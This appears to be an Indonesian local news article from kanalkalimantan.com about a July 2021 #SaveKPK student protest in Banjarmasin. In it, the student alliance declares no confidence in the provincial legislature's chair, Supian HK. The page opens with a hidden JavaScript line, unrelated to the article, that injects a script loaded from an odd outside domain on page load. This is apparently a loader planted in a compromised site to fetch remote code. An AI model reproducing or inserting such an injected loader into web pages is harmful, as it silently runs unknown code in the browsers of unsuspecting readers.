(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – BEM se Kalsel menyampaikan mosi tak percaya pada Ketua DPRD Kalsel Supian HK. Hal tersebut menindaklanjuti buntunya pertemuan dengan pimpinan dewan terkait aksi #Save KPK yang digelar, Kamis (1/7/2021) di Jalan Lambung Mangkurat, Banjarmasin.
Sejak pukul 14.00 WITA mahasiswa yang tergabung dalam aliansi BEM se-Kalsel tersebut terlihat telah berkumpul di Taman Kamboja, Jalan Anang Adenansi. Selanjutnya mereka berjalan kaki menuju Gedung DPRD sembari menyanyikan lagu-lagu perjuangan mahasiswa.
Sama seperti aksi sebelumnya, mahasiswa mendesak untuk bisa bertemu dengan Ketua DPRD Kalsel, H. Supian HK. Dengan tuntutan yang sama, mereka ingin DPRD Kalsel mengambil pernyataan sikap.
Dalam tuntutan tersebut, mahasiswa se-Kalsel mendesak orang nomor satu di Indonesia, Presiden Joko Widodo, untuk menyetujui apa yang menjadi tuntutan mahasiswa Kalsel.
Baca juga: Aksi #SaveKPK, Mahasiswa Kalsel Bertahan hingga Malam Tunggu Ketua Dewan Muncul!
Ahmad Rinaldi, Koordinator BEM se-Kalsel menyampaikan pihaknya memberikan mosi tidak percaya kepada Ketua DPRD Kalsel yang sampai hari ini tidak menemui massa aksi.
“Kami tidak mau lagi diundang audiensi, kecuali nanti Bapak Supian HK membawa tuntutannya, beliau sendiri telah bicara pada media bahwa setuju dengan tuntutan kita,” ujarnya.
Rinaldi juga mengatakan bahwa ia dan teman-teman mahasiswa tidak ingin ada aksi lanjutan yang nantinya hanya akan berakhir sia-sia. Apalagi ada beberapa mahasiswa yang sempat terluka pada aksi sebelumnya.
“Kami hanya ingin memastikan Bapak Supian HK apakah ada di sana atau tidak, tadi juga tidak ada pihak kepolisian yang berdiskusi tentang itu, jadi kami mencoba memaksa masuk,” tambah Rinaldi.
Rindaldi juga menegaskan bahwa pihaknya akan memastikan rekan-rekan mahasiswa yang sempat diamankan oleh pihak kepolisian tidak mengalami tindakan kekerasan.
“Tadi sempat diamankan cuman sudah dikembalikan, kami nanti akan mengecek lagi apakah ada tindak kekerasan atau tidak, misal ditampar atau seperti apanya. Itu akan kami data lagi,” pungkasnya.
(kanalkalimantan.com/Nissa)
Reporter: Nissa
Editor: cell
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.